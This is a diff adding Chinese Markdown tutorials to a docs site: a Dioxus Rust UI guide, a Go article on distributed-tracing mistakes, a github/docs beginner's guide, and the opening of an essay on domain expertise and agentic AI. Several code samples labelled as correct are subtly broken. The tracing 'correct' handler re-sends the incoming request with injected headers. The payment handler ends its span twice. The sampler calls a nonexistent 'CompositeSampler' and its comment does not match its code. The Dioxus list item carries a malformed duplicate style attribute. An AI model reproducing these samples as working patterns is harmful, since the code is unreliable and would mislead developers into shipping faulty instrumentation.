+- `dioxus/mobile` → 编译到 iOS / Android
+
+一套代码，到处运行。
+
+---
+
+## 三、代码示例
+
+### 示例 1：完整计数器应用
+
+这是 Dioxus 官方的入门示例：
+
+```rust
+use dioxus::prelude::*;
+
+pub fn App() -> Element {
+    let mut count = use_signal(|| 0);
+
+    rsx! {
+        h1 { "High-Five counter: {count}" }
+        button {
+            onclick: move |_| count += 1,
+            "Up high!"
+        }
+        button {
+            onclick: move |_| count -= 1,
+            "Down low!"
+        }
+    }
+}
+```
+
+运行：`cargo dioxus start`，自带热重载——改了代码，浏览器自动刷新。
+
+### 示例 2：带输入的任务管理器
+
+```rust
+use dioxus::prelude::*;
+
+#[derive(Clone, PartialEq)]
+struct Task {
+    text: String,
+    done: bool,
+}
+
+fn TaskManager() -> Element {
+    let mut tasks = use_signal(Vec::<Task>::new);
+    let mut input = use_signal(String::new);
+
+    rsx! {
+        h1 { "任务管理器" }
+
+        div {
+            input {
+                r#type: "text",
+                value: "{input}",
+                oninput: move |e| input.set(e.value()),
+                placeholder: "输入新任务...",
+            }
+            button {
+                onclick: move |_| {
+                    let text = input.read().clone();
+                    if !text.is_empty() {
+                        tasks.push(Task {
+                            text,
+                            done: false,
+                        });
+                        input.set(String::new());
+                    }
+                },
+                "添加任务"
+            }
+        }
+
+        ul {
+            for task in tasks.read().iter() {
+                li {
+                    style: "text-decoration: {}",
+                    style: "{} if task.done { \"line-through\" } else { \"none\" }",
+                    onclick: move |_| {
+                        // 找到对应任务并切换 done 状态
+                        let mut t = tasks.read_mut();
+                        if let Some(found) = t.iter_mut().find(|t| t.text == task.text) {
+                            found.done = !found.done;
+                        }
+                    },
+                    if task.done { "✅ " } else { "⬜ " }
+                    "{task.text}"
+                }
+            }
+        }
+    }
+}
+```
+
+这个示例展示了：
+
+- `use_signal` 管理数组和字符串状态
+- `input` 元素绑定 `oninput` 事件
+- `for` 循环渲染列表
+- `read_mut()` 模式修改集合中某一项
+- 三元表达式放在 `rsx!` 里做样式切换
+
+---
+
+## 四、Dioxus vs React 对照
+
+| 概念 | React | Dioxus |
+|------|-------|--------|
+| UI 语法 | JSX (JS/TS) | RSX (Rust) |
+| 状态管理 | useState / useReducer | use_signal |
+| 组件函数 | `function Foo() { return ... }` | `fn Foo() -> Element { ... }` |
+| 编译产物 | JavaScript | WebAssembly / 原生二进制 |
+| 类型安全 | 可选 (TypeScript) | 编译期强制 |
+| 跨平台 | 有 React Native | 原生支持 web/desktop/mobile |
+| 热重载 | 有 | 有（零配置） |
+
+---
+
+## 五、为什么选 Dioxus？
+
+1. **类型安全**：Rust 的借用检查器让你在编译期就抓住大部分 bug，不需要运行时调试
+2. **性能**：编译为 WebAssembly，体积比 React 应用更小；Signal 机制比 React 的 Virtual DOM Diff 更高效（接近 SolidJS 的细粒度响应式）
+3. **跨平台**：一份代码跑 Web、桌面、手机，不用维护多套 UI 代码
+4. **生态在增长**：Dioxus 0.7 已经相当成熟，官方文档齐全，社区活跃
+
+---
+
+## 六、一句话回顾
+
+> React 用 JavaScript 声明 UI，Dioxus 用 Rust 做同样的事，但多了一层编译期的安全保障和跨平台的自由。
+
+---
+
+*本文基于 Dioxus 0.7 编写。*
diff --git a/src/content/docs/projects/distributed-tracing-mistakes.md b/src/content/docs/projects/distributed-tracing-mistakes.md
new file mode 100644
index 000000000..f25c63013
--- /dev/null
+++ b/src/content/docs/projects/distributed-tracing-mistakes.md
@@ -0,0 +1,293 @@
+---
+title: 分布式追踪中的常见错误
+来源: https://lightstep.com/blog/2026/tracing-mistakes
+日期: 2026-06-13
+分类: 基础设施
+子分类: 可观测性
+provenance: pipeline-v3
+---
+
+## 是什么
+
+分布式追踪（Distributed Tracing）是一种**跟踪请求在微服务之间完整旅程**的技术。
+
+日常类比：
+- **传统单体应用**像去一家店买咖啡——你从进门到取货，全程在一个空间，老板看店里日志就知道每个顾客的经历
+- **微服务架构**像跨国快递——包裹从你家出发，经过快递员、分拣中心、航空货运、目的地分拣、最后送达。每个环节都由不同公司负责。如果你问"包裹在哪"，没有追踪系统你就只能打电话问每个环节
+- **分布式追踪**就是给这个快递装了 GPS，你能实时看到包裹的每一步：什么时候被取走、在哪个分拣中心停了 2 小时、在哪架飞机上
+
+每个"包裹"有一个唯一的追踪 ID（Trace ID），经过每个服务时都记录一个" Span"（一次操作），所有 Span 按父子关系串起来，就形成了完整的追踪链路。
+
+## 为什么重要
+
+- **微服务故障排查的刚需**：10 个服务组成的链路，出问题时你不可能逐个 SSH 到每台机器上看日志
+- **性能瓶颈定位**：追踪能告诉你"订单服务调用库存服务时花了 3 秒"，而不是模糊地说"系统慢"
+- **Lightstep 等可观测性平台的核心数据**：追踪数据和日志、指标一起构成"可观测性三支柱"
+- **OpenTelemetry 成为统一标准**：2024 年后，OpenTelemetry 基本统一了追踪数据的采集和发送方式
+
+## 常见错误
+
+### 错误一：没有跨服务传递 Trace ID
+
+这是最常见也最致命的问题。追踪系统通过一个唯一的 Trace ID 把所有服务的 Span 关联起来。如果某个服务没有把 Trace ID 传给下一个服务，追踪链就断了。
+
+**类比**：快递从北京寄到上海，北京的快递员把包裹放在快递柜上贴了标签，但上海的分拣中心重新打印了一张新标签——两个标签不关联，你无法看到包裹是从北京来的。
+
+**错误示例**（Go，没有传递 Trace ID）：
+
+```go
+// 服务 A：收到请求并创建了 Span
+func OrderHandler(w http.ResponseWriter, r *http.Request) {
+    ctx, span := tracer.Start(r.Context(), "order.create")
+    defer span.End()
+
+    // 错误：直接发起 HTTP 请求，没有把 Trace Context 注入到请求头中
+    resp, err := http.Get("http://inventory-service/check")
+    // 服务 B 拿到的请求里没有 Trace ID，追踪链在此断裂
+}
+```
+
+**正确示例**（Go，使用 OpenTelemetry HTTP 传播器）：
+
+```go
+// 服务 A：收到请求并创建了 Span
+func OrderHandler(w http.ResponseWriter, r *http.Request) {
+    ctx, span := tracer.Start(r.Context(), "order.create")
+    defer span.End()
+
+    // 正确：把 Trace ID 注入到 HTTP 请求头中
+    ctx = propagator.Inject(ctx, propagation.HeaderCarrier(r.Header))
+    resp, err := http.DefaultClient.Do(r.WithContext(ctx))
+}
+
+// 服务 B：从 HTTP 请求头中提取 Trace Context
+func InventoryHandler(w http.ResponseWriter, r *http.Request) {
+    // 正确：从请求头中提取 Trace Context
+    ctx := propagator.Extract(propagation.HeaderCarrier(r.Header))
+    ctx, span := tracer.Start(ctx, "inventory.check")
+    defer span.End()
+    // 追踪链在此继续
+}
+```
+
+关键：每个服务在发起出站请求时，必须把当前的 Trace Context（包含 Trace ID、Span ID 和采样信息）通过 HTTP 头（如 `traceparent`）传递出去；接收方必须从请求头中提取 Context 并继续追踪。
+
+### 错误二：Span 粒度不当
+
+Span 是追踪的基本单位。粒度太粗，看不出瓶颈在哪；粒度太细，数据量爆炸，追踪系统扛不住。
+
+**类比**：
+- 太粗：只记录"取快递"这一个 Span，但你不知道是快递柜问题、快递员问题还是配送站问题
+- 太细：记录"打开包装箱"、"触摸快递单"、"看一眼收件人名字"——每个动作一个 Span，追踪图密密麻麻看不清楚
+
+**错误示例**（每个 Span 包含太多逻辑）：
+
+```go
+func OrderHandler(w http.ResponseWriter, r *http.Request) {
+    ctx, span := tracer.Start(r.Context(), "handle-order")
+    defer span.End()
+
+    // 错误：整个函数塞进一个 Span，无法定位具体哪步慢了
+    // 这一步可能花 50ms
+    order := parseOrder(r)
+    // 这一步可能花 3000ms（远程调用库存服务）
+    stock := checkInventory(ctx, order)
+    // 这一步可能花 2000ms（远程调用支付服务）
+    payment := processPayment(ctx, order, stock)
+    // 这一步可能花 500ms（写数据库）
+    saveOrder(ctx, order, payment)
+
+    span.SetAttribute("total_time", 6000)
+    w.Write([]byte("order created"))
+}
+```
+
+**正确示例**（按逻辑拆分成独立 Span）：
+
+```go
+func OrderHandler(w http.ResponseWriter, r *http.Request) {
+    ctx, span := tracer.Start(r.Context(), "order.create")
+    defer span.End()
+
+    // 每个关键步骤一个独立 Span
+    ctx, parseSpan := tracer.Start(ctx, "order.parse")
+    order := parseOrder(r)
+    parseSpan.End()
+
+    ctx, checkSpan := tracer.Start(ctx, "inventory.check")
+    stock := checkInventory(ctx, order)
+    checkSpan.End()
+
+    ctx, paySpan := tracer.Start(ctx, "payment.process")
+    payment := processPayment(ctx, order, stock)
+    paySpan.End()
+
+    ctx, saveSpan := tracer.Start(ctx, "order.save")
+    saveOrder(ctx, order, payment)
+    saveSpan.End()
+
+    w.Write([]byte("order created"))
+}
+```
+
+经验法则：
+- **每个远程调用**（HTTP/gRPC/数据库查询）都应该是一个 Span
+- **关键业务步骤**（支付、发货）应该是 Span
+- **纯 CPU 计算**如果超过 100ms 才值得记录
+
+### 错误三：错误和异常没有记录到 Span
+
+当服务出错了，追踪系统中必须有对应的错误信息。如果 Span 里没标记错误，你在追踪面板上就看不到这条链路有问题。
+
+**类比**：快递送达了但包裹坏了。如果快递员不在系统里标记"损坏"，客服就永远发现不了这个问题。
+
+**错误示例**（异常被吞掉，没有记录到 Span）：
+
+```go
+func PaymentHandler(w http.ResponseWriter, r *http.Request) {
+    ctx, span := tracer.Start(r.Context(), "payment.charge")
+
+    // 错误：调用第三方支付网关出错了，但没有记录到 Span
+    // Span 显示"成功"，但实际失败了
+    err := paymentGateway.Charge(ctx, amount)
+    if err != nil {
+        log.Printf("payment failed: %v", err)
+        w.WriteHeader(http.StatusInternalServerError)
+        return
+    }
+
+    span.End()
+}
+```
+
+**正确示例**（异常记录到 Span）：
+
+```go
+func PaymentHandler(w http.ResponseWriter, r *http.Request) {
+    ctx, span := tracer.Start(r.Context(), "payment.charge")
+    defer span.End()
+
+    err := paymentGateway.Charge(ctx, amount)
+    if err != nil {
+        // 正确：记录错误到 Span，追踪面板会标记红色
+        span.RecordError(err)
+        span.SetStatus(codes.Error, "payment failed")
+        span.End()
+        log.Printf("payment failed: %v", err)
+        w.WriteHeader(http.StatusInternalServerError)
+        return
+    }
+
+    span.SetStatus(codes.Ok, "")
+}
+```
+
+### 错误四：给追踪系统塞太多数据
+
+Span 越多，存储和查询成本越高。很多团队一开始把所有东西都记成 Span，结果追踪面板卡到没法用。
+
+**类比**：如果快递每个动作都拍照上传——拆箱子拍一张、看商品拍一张、检查生产日期拍一张、放回去拍一张——照片太多，客服系统直接卡死。
+
+**采样（Sampling）策略**：
+- **AlwaysOn**：所有请求都追踪（开发环境用）
+- **AlwaysOff**：完全不追踪（测试用）
+- **TraceIDRatioBased**：按固定比例抽样（如 10%），这是生产环境的推荐策略
+- **自适应采样**：优先追踪慢请求和错误请求
+
+```go
+// 生产环境：只追踪 10% 的请求，但错误请求全部追踪
+processor := trace.WithSampler(
+    traceparent.CompositeSampler(
+        traceparent.AlwaysOnSampler(),              // 开发环境用
+        traceparent.TraceIDRatioBased(0.1),         // 生产环境：10%
+    ),
+)
+
+// 更好的做法：对慢请求和错误请求提高采样率
+sampler := func(ctx context.Context, traceID trace.TraceID, spanName string, parentSpanID trace.SpanID, attributes []trace.Attribute) bool {
+    // 错误和慢请求全采
+    if parentSpanID != nil {
+        return true
+    }
+    // 新追踪：10% 概率
+    return rand.Float64() < 0.1
+}
+```
+
+### 错误五：Span 没有设置有意义的属性
+
+Span 只是按时间顺序记录"开始"和"结束"，这信息量太少了。属性（Attributes）才是让追踪有用的关键。
+
+**类比**：快递只记录"包裹已发出"和"包裹已到达"，但不记录收件人地址、包裹重量、快递公司——你没法分析数据。
+
+**关键属性**：
+- `http.method` / `http.url`：HTTP 请求信息
+- `db.system` / `db.statement`：数据库操作
+- `error.type` / `error.message`：错误详情
+- `service.name`：当前服务名
+- 业务属性如 `order.id` / `user.id`
+
+```go
+span.SetAttributes(
+    attribute.String("http.method", r.Method),
+    attribute.String("http.url", r.URL.String()),
+    attribute.Int("http.status_code", statusCode),
+    attribute.String("db.statement", query),
+    attribute.String("user.id", userID),
+    attribute.String("order.id", orderID),
+)
+```
+
+### 错误六：追踪异步操作
+
+消息队列（Kafka、RabbitMQ）是异步的。如果消息的生产者和消费者之间没有传递 Trace Context，异步链路就断了。
+
+**类比**：你给快递员留了便条说"把包裹放门口"，但快递员把便条扔了直接走人。你第二天发现包裹不见了，不知道是谁的问题。
+
+```go
+// 生产者：把 Trace Context 注入到消息头中
+func PublishOrder(order Order) {
+    ctx, span := tracer.Start(context.Background(), "order.publish")
+    defer span.End()
+
+    // 注入 Trace Context 到消息属性
+    headers := amqp.Table{
+        "traceparent": span.SpanContext().TraceParentString(),
+    }
+
+    // 发送到消息队列
+    channel.Publish("orders", "", false, false, amqp.Publishing{
+        Headers: headers,
+        Body:    marshal(order),
+    })
+}
+
+// 消费者：从消息头中恢复 Trace Context
+func ConsumeOrder(msg amqp.Delivery) {
+    traceparent := msg.Headers["traceparent"].(string)
+
+    // 从消息头中恢复 Context
+    ctx := propagator.Extract(propagation.HeaderCarrier(
+        amqp.Table{"traceparent": traceparent},
+    ))
+
+    ctx, span := tracer.Start(ctx, "order.consume")
+    defer span.End()
+
+    order := unmarshal(msg.Body)
+    processOrder(ctx, order)
+}
+```
+
+## 总结
+
+| 错误 | 后果 | 一句话修复 |
+|------|------|-----------|
+| 不传递 Trace ID | 追踪链断裂 | 用 propagator 注入/提取 HTTP 头 |
+| Span 粒度不当 | 要么看不清瓶颈，要么数据爆炸 | 每个远程调用拆成一个 Span |
+| 不记录错误 | 追踪面板看不出故障 | `span.RecordError(err)` + `span.SetStatus` |
+| 不采样 | 存储成本失控 | 生产环境用 TraceIDRatioBased(0.1) |
+| 不设属性 | 追踪数据不可查询 | 至少设 http.method, db.system, error |
+| 不传异步 Context | 异步链路断裂 | 消息头里注入 traceparent |
+
+分布式追踪的核心理念：**追踪应该像快递 GPS 一样，从起点到终点全程不断**。每个错误都是 GPS 信号丢失的一段路，修好它们，你就能在任何微服务故障面前从容不迫。
diff --git a/src/content/docs/projects/docker.md b/src/content/docs/projects/docker.md
index 6c3647ab8..5824a6013 100644
--- a/src/content/docs/projects/docker.md
+++ b/src/content/docs/projects/docker.md
@@ -2,7 +2,7 @@
 title: Docker — 容器化平台
 来源: https://github.com/docker/docker-ce
 日期: 2026-05-29
-子分类: DevOps
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/docs.md b/src/content/docs/projects/docs.md
new file mode 100644
index 000000000..461105069
--- /dev/null
+++ b/src/content/docs/projects/docs.md
@@ -0,0 +1,318 @@
+---
+title: github/docs 零基础入门笔记
+来源: https://github.com/github/docs
+日期: 2026-06-13
+分类: 后端 API
+子分类: Web 后端
+provenance: pipeline-v3
+---
+
+# github/docs 零基础入门笔记
+
+## 一、日常类比：把 docs 想象成一个"大型连锁图书馆"
+
+想象一下，你负责运营一个巨大的连锁图书馆（docs.github.com）。这个图书馆里有几百万本书，内容涵盖所有与 GitHub 产品相关的知识。
+
+但这个图书馆有三大特点，让它和普通图书馆完全不同：
+
+1. **任何人都能当图书管理员** —— 不只是内部员工，世界各地的开发者都可以提交"我要改一本书的内容"的请求
+2. **书的内容就是代码仓库本身** —— 每本书其实就是一个 Markdown 文件，存在 Git 仓库里
+3. **两本"主书库"保持同步** —— 一个公开的仓库给外部人改，一个私有的仓库给 GitHub 员工改，两边定期自动同步
+
+`github/docs` 就是这个公开主书库的代码仓库。它是 [docs.github.com](https://docs.github.com) 网站的内容来源，用开源的方式让全世界一起维护。
+
+## 二、核心概念
+
+### 2.1 仓库结构（图书馆的建筑布局）
+
+```
+github/docs/
+├── content/          ← 所有文档的 Markdown 原文（图书馆的书架）
+├── data/             ← 可复用的数据片段（比如"标准插图"仓库）
+├── src/              ← 网站构建代码（图书馆的装修和运营系统）
+├── config/           ← 配置文件
+├── assets/           ← 图片、样式等资源
+└── package.json      ← 项目依赖清单
+```
+
+- **`content/`** 是按产品分目录的，比如 `actions/`、`repositories/`、`get-started/` 等
+- 每个产品目录下有一个 `index.md` 作为目录页，列出该类别下所有子页面
+
+### 2.2 Frontmatter（每本书的"版权页"）
+
+每个 Markdown 文件顶部都有一个 YAML 块，叫 **Frontmatter**，相当于每本书的版权页，告诉系统"这本书该怎么摆放"：
+
+```yaml
+---
+title: 我的文档标题
+versions:
+  fpt: '*'          # 适用于自由专业版（免费版）
+  ghes: '>=2.20'    # 适用于企业服务器版 2.20 及以上
+redirect_from:
+  - /old-path/      # 旧链接跳转到这个页面
+layout: default     # 页面布局类型
+---
+```
+
+关键字段：
+
+| 字段 | 作用 | 必填 |
+|------|------|------|
+| `title` | 页面标题 | 否（有默认值） |
+| `versions` | 声明适用于哪些产品版本 | **是** |
+| `redirect_from` | 旧 URL 跳转到本页 | 否 |
+| `layout` | 页面布局模板 | 否 |
+| `children` | 目录页的子页面列表 | 目录页必填 |
+
+### 2.3 Versioning（同一本书有多个版本）
+
+GitHub 产品有不同版本，文档也要跟着变：
+
+- **FPT** (Free, Pro, Team)：GitHub 免费版/专业版/团队版
+- **GHEC** (GitHub Enterprise Cloud)：企业云版
+- **GHES** (GitHub Enterprise Server)：企业本地部署版
+
+文档用 `versions` 字段声明适用性，用 Liquid 模板语法在正文中做条件渲染。
+
+### 2.4 Liquid 模板（文档里的"智能标签"）
+
+Liquid 是一种模板语言，类似 HTML 模板。在文档中可以写条件逻辑：
+
+```liquid
+{% ifversion fpt %}
+这一段只对免费版显示。
+{% endif %}
+
+{% ifversion ghes %}
+这一段只对企业本地版显示。
+{% endif %}
+```
+
+这让同一份文档源码能生成多个产品版本的页面。
+
+### 2.5 Reusables（可复用的文档积木）
+
+如果一段文字在多个页面中出现（比如"创建仓库的步骤"），就提取成一个单独的文件放在 `data/reusables/` 目录下，然后用 `{% data reusables.xxx.yyy %}` 引用。这样改一处，所有引用处自动更新。
+
+## 三、工作流：怎么贡献一个文档修改
+
+整个过程就像在图书馆"提交一本书的修订稿"：
+
+```
+1. Fork 仓库 → 复制一本"空白笔记本"到自己名下
+2. 创建分支 → 准备一个独立的修改空间
+3. 修改内容 → 编辑 Markdown 文件
+4. 本地预览 → 在 localhost:4000 查看效果
+5. 提交 PR → 把修订稿提交给管理员审核
+6. 审核通过 → 管理员合并后，变更立即上线
+```
+
+### 三步速上手
+
+```bash
+# 第一步：克隆仓库到本地
+git clone https://github.com/github/docs
+cd docs
+
+# 第二步：安装依赖并构建
+npm ci
+npm run build
+
+# 第三步：启动本地开发服务器
+npm start
+# 浏览器打开 http://localhost:4000 即可预览
+```
+
+本地修改文件后，页面会自动热重载（nodemon 监听变化）。
+
+## 四、代码示例
+
+### 示例 1：写一篇新文档
+
+在 `content/get-started/` 目录下创建一个新文件 `hello-github.md`：
+
+```yaml
+---
+title: Hello, GitHub!
+shortTitle: Hello GitHub
+versions:
+  fpt: '*'
+  ghes: '*'
+contentType: tutorial
+layout: bespoke
+intro: 欢迎来到 GitHub 世界的第一步。
+---
+
+# Hello, GitHub!
+
+欢迎来到 GitHub！这是你的第一篇文档。
+
+## 什么是 GitHub？
+
+GitHub 是一个代码托管平台，你可以：
+
+- 存储和管理代码
+- 与他人协作开发
+- 追踪问题和功能请求
+
+## 下一步
+
+- [创建你的第一个仓库](/get-started/start-and-explore/create-a-repo)
+- [学会使用分支](/get-started/start-and-explore/create-a-branch)
+```
+
+这个文件做了四件事：
+
+1. **Frontmatter** 定义了标题、适用版本和内容类型
+2. **Markdown 正文** 用标题（`#`）、列表（`-`）组织内容
+3. **内部链接** 用 `(/path/...)` 格式，系统会自动加上语言前缀 `/en/`
+4. **内容类型** 声明为 `tutorial`（教程），会影响页面显示样式
+
+### 示例 2：用 Liquid 做多版本条件渲染
+
+假设你要写一个关于 GitHub Actions 的教程，但某个功能只在企业版中可用：
+
+```liquid
+---
+title: 使用 GitHub Actions
+versions:
+  fpt: '*'
+  ghes: '>=3.9'
+---
+
+# 使用 GitHub Actions
+
+GitHub Actions 让你可以在仓库中自动化工作流程。
+
+{% ifversion fpt %}
+> **提示**：免费版每月有 2,000 分钟的 Actions 运行时间。
+{% endif %}
+
+{% ifversion ghes %}
+> **企业版提示**：GitHub Enterprise Server 3.9+ 支持自托管 Runner。
+{% endif %}
+
+## 创建你的第一个 workflow
+
+在你的仓库中创建一个 `.github/workflows/main.yml` 文件：
+
+```yaml
+name: CI
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - run: echo "Hello, world!"
+```
+
+{% ifversion ghes %}
+**自托管 Runner**：企业版管理员可以部署自己的 Runner 机器，放在内网中执行任务。
+{% endif %}
+```
+
+这个示例展示了：
+
+- `versions` 声明页面同时适用于 FPT 和 GHES >= 3.9
+- `{% ifversion fpt %}` 条件块只在 FPT 版本中渲染
+- `{% ifversion ghes %}` 条件块只在企业版中渲染
+- 一份 Markdown 源码输出多个产品版本的页面
+
+### 示例 3：使用 Reusables 复用内容
+
+先创建一个可复用片段 `data/reusables/actions/basic-runners.md`：
+
+```markdown
+## 可用的 Runner
+
+GitHub 提供以下类型的 Runner：
+
+- **GitHub-hosted**：GitHub 提供的云服务器
+- **Self-hosted**：你自己管理的服务器（企业版功能）
+
+选择 Runner 类型会影响工作流的运行速度和安全性。
+```
+
+然后在任何文档中引用它：
+
+```markdown
+---
+title: Actions 入门
+versions:
+  fpt: '*'
+---
+
+# Actions 入门
+
+## Runner 类型
+
+{% data reusables.actions.basic-runners %}
+
+## 下一步
+
+...
+```
+
+这样改一处，所有引用处同步更新。
+
+## 五、关键技术选型
+
+理解这些技术有助于你快速上手：
+
+| 技术 | 用途 | 类比 |
+|------|------|------|
+| **Node.js + Express** | 本地开发服务器 | 图书馆的后台管理系统 |
+| **Next.js** | 页面渲染框架 | 前台展示系统 |
+| **Liquid** | 模板语言 | 智能标签，控制内容显隐 |
+| **Markdown** | 文档编写格式 | 图书的文字部分 |
+| **YAML** | Frontmatter 元数据 | 图书的版权页 |
+| **TypeScript** | 网站构建代码 | 图书馆的运营规则 |
+| **Elasticsearch** | 全文搜索 | 图书馆的检索系统 |
+| **Git** | 版本控制和协作 | 图书馆的修订流程 |
+
+## 六、贡献类型
+
+`github/docs` 接受多种贡献：
+
+- **修复错别字**：最简单也最有价值
+- **修正技术错误**：命令、步骤、链接等
+- **扩展现有内容**：补充遗漏的步骤或说明
+- **填写重要空白**：新增有价值的主题
+
+不接受的：
+
+- 纯粹为了"改善语气"的修改
+- 太 niche 或个人偏好的主题
+- 网站基础设施代码的修改（这些在私有仓库中）
+
+## 七、学习路线建议
+
+作为零基础学习者，建议按以下顺序了解：
+
+1. **先浏览 docs.github.com** —— 体验成品，知道文档长什么样
+2. **阅读 CONTRIBUTING.md** —— 了解贡献规范
+3. **找一个 typo 提交 PR** —— 最小化实操，体验完整流程
+4. **学习 Markdown + Frontmatter** —— 掌握文档编写基础
+5. **了解 Liquid 模板** —— 学会做多版本内容
+6. **尝试写一篇新文章** —— 从 `get-started` 目录开始
+
+## 八、关键链接
+
+- 仓库地址：https://github.com/github/docs
+- 贡献指南：https://docs.github.com/en/contributing
+- 本地开发：`npm start` → http://localhost:4000
+- 在线文档：https://docs.github.com
+- Markdown + Liquid 语法参考：https://docs.github.com/en/contributing/syntax-and-versioning-for-github-docs
+- 两个仓库关系：`github/docs`（公开）↔ `github/docs-internal`（私有，员工用）
+
+## 九、总结
+
+`github/docs` 最核心的设计理念只有三个词：
+
+1. **内容即代码** —— Markdown 文件存 Git，享受版本控制和代码审查
+2. **开放协作** —— 任何人都可以提交修改，经过审核后上线
+3. **一份源码，多个版本** —— Liquid 模板 + versioning 系统让多产品文档维护变得简单
+
+理解这三点，你就理解了整个项目的骨架。其余的语法、工具、流程，都是在这三个原则之上的具体实现。
diff --git a/src/content/docs/projects/docusaurus.md b/src/content/docs/projects/docusaurus.md
index c65e42732..3cd8c8b8c 100644
--- a/src/content/docs/projects/docusaurus.md
+++ b/src/content/docs/projects/docusaurus.md
@@ -151,6 +151,7 @@ npm run docusaurus docs:version 1.0
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[astro]] —— Astro — 内容站点优先的 Web 框架
+- [[inkscape]] —— Inkscape — 矢量图形编辑器
 - [[minisearch]] —— minisearch — 浏览器里的小型全文搜索引擎
 - [[next-js]] —— Next.js — React 全栈框架
 - [[nextra]] —— Nextra — 在 Next.js 上盖一层文档站脚手架
diff --git a/src/content/docs/projects/domain-expertise-real-moat.md b/src/content/docs/projects/domain-expertise-real-moat.md
new file mode 100644
index 000000000..cd238b8d5
--- /dev/null
+++ b/src/content/docs/projects/domain-expertise-real-moat.md
@@ -0,0 +1,192 @@
+---
+title: Domain expertise has always been the real moat
+来源: https://www.brethorsting.com/blog/2026/05/domain-expertise-has-always-been-the-real-moat/
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+## 一句话总结
+
+在 agentic AI 时代，**领域知识才是真正的护城河**——代码写得出来不代表做对了，知道"什么是对的"才是稀缺能力。
+
+## 日常类比
+
+想象一家餐厅。
+
+以前，厨师（程序员）最大的挑战是**学做菜**——火候、刀工、调味，每一样都需要长时间练习。一个资深厨师之所以值钱，是因为他做过成千上万道菜，手里有"感觉"。
+
+现在出现了自动炒菜机（agentic AI）。任何人只要会说"我要一份宫保鸡丁"，机器就能把菜炒出来。问题变了：**你能不能尝出这道菜对不对？**
+
+那个在厨房干了十年、闭着眼睛都知道宫保鸡丁应该是什么味道的厨师（领域专家），突然成了最值钱的人。因为他能立刻尝出机器炒出来的菜差在哪——甜面酱多了、花生不脆了、鸡肉老了——而一个只会用炒菜机的新人，根本不知道"对"是什么味道。
+
+代码就是那道菜。领域知识就是那个"味觉"。
+
+## 文章核心观点拆解
+
+### 1. 写软件最难的部分从来不是写代码
+
+文章作者 Aaron Brethorst 举了两个例子：
+
+- 要做薪资系统，你得先搞懂 garnishments（工资扣款）、pre-tax deductions（税前扣除）、发薪周期跨了调薪日怎么办
+- 要做公交 App，你得先搞懂 GTFS 数据格式、trip 和 route 的区别、一辆"准点"的公交车为什么可能还是错的
+
+**代码只是把脑子里的领域模型"翻译"出来。翻译本身从来不是难点。**
+
+```python
+# 伪代码：薪资计算中的"发薪周期跨调薪日"问题
+# 不懂领域的人写的版本——看起来没问题，但漏了关键规则
+def calculate_pay(hours_worked, hourly_rate):
+    return hours_worked * hourly_rate
+
+# 领域专家知道的真实规则——发薪周期 6/1~6/15，但 6/10 涨薪到 $25
+# 前 9 天按 $20 算，后 6 天按 $25 算
+def calculate_pay_with_rate_change(hours_before_change, hours_after_change,
+                                    old_rate, new_rate):
+    return (hours_before_change * old_rate) + (hours_after_change * new_rate)
+```
+
+第一个函数能跑，但算出来是错的。第二个函数才是真实的业务逻辑。
+
+### 2. Agentic AI 切断了"写代码"和"懂领域"之间的绑定
+
+以前，程序员有一条清晰的成长路径：**先学编程，再慢慢学领域**。通过看文档、跟专家聊、在生产环境犯错，逐渐建立领域模型。这条路径是许多行业的职业阶梯。
+
+领域专家没有对应的路径——学写可靠软件需要几年时间，不值得。
+
+Agentic AI 把这条路**只拆了一半**：
+
+| | 以前 | 现在有 AI |
+|---|---|---|
+| 程序员学领域 | 可以，慢慢来 | 依然可以，但没那么必要了 |
+| 领域专家学编程 | 不可能，门槛太高 | AI 替你把代码写了 |
+
+结果：**程序员的"翻译能力"变便宜了，领域专家的"知道什么是对的"没变贵。**
+
+### 3. 两种人的对比实验
+
+文章描述了两个人面对同一个 AI 编码工具：
+
+**A：领域专家（不懂编程）**
+- 物流调度员、临床编码员、精算师
+- 看不懂 stack trace，分不清 hash map 和 list
+- 但看到 AI 生成的排班表，一眼就知道"这司机违法超时了"
+- **他们缺的代码生成能力，AI 补上了；他们带来的领域真值，AI 补不上**
+
+**B：通用型工程师（不懂领域）**
+- 架构能力强，懂可靠性、测试、凌晨两点的救火
+- 但扔进临床编码场景，分不清"看起来合理但错了"和"对的"
+- AI 会生成一个编译通过、测试通过、但规则 subtle 地错的计费逻辑
+- **工程师能验证"软件建得好"，但验证不了"软件做对了"**
+
+```python
+# 伪代码：司机工时规则——领域专家才知道的隐性规则
+
+# 通用工程师让 AI 写的版本——测试通过了，但规则不完整
+def validate_driver_schedule(shifts):
+    for shift in shifts:
+        assert shift.hours <= 14  # 只检查了最大时长
+    return True
+
+# 领域专家知道的正确版本——美国 FMCSA 法规的真实规则
+def validate_driver_schedule_expert(shifts, rest_periods):
+    """
+    美国联邦机动车安全管理局(FMCSA)规则：
+    - 司机连续驾驶 8 小时后必须休息 30 分钟
+    - 一周内总驾驶时间不超过 60 小时（7 天周期）或 70 小时（8 天周期）
+    - 两次驾驶之间必须有 10 小时连续休息
+    - 单次驾驶不得超过 11 小时
+    """
+    for shift in shifts:
+        if shift.hours > 11:
+            return False, "单次驾驶超过 11 小时"
+    for i in range(len(shifts) - 1):
+        gap = rest_periods[i].duration
+        if gap < 10:
+            return False, f"第 {i} 和 {i+1} 班次间休息不足 10 小时"
+    # 还要检查 60/70 小时周期规则……
+    return True
+```
+
+工程师写的测试通过了，因为测试本身就不完整。**测试只能证明"代码实现了你告诉它的东西"，不能证明"你告诉它的是对的"。**
+
+### 4. 最值钱的人是"双修"的
+
+文章指出，最有价值的人是**既懂领域又懂代码**的人：
+
+- 知道 AI 生成的代码结构是否合理
+- 知道它产出的答案是真是假
+- 能写出 encode 了真实规则的测试（比如"司机不能超过 11 小时"），而且知道**这个测试本身有意义**
+
+AI 负责"翻译"，这种人负责"审判"——审判两层：代码对不对，答案对不对。
+
+## 为什么这个观点很重要
+
+### 对程序员的信号
+
+你花了多年苦练的"把清楚的想法变成干净的代码"这项机械技能，价值正在大幅下降。真正稀缺的是一个**经过验证的真实领域模型**。
+
+### 对非程序员的信号
+
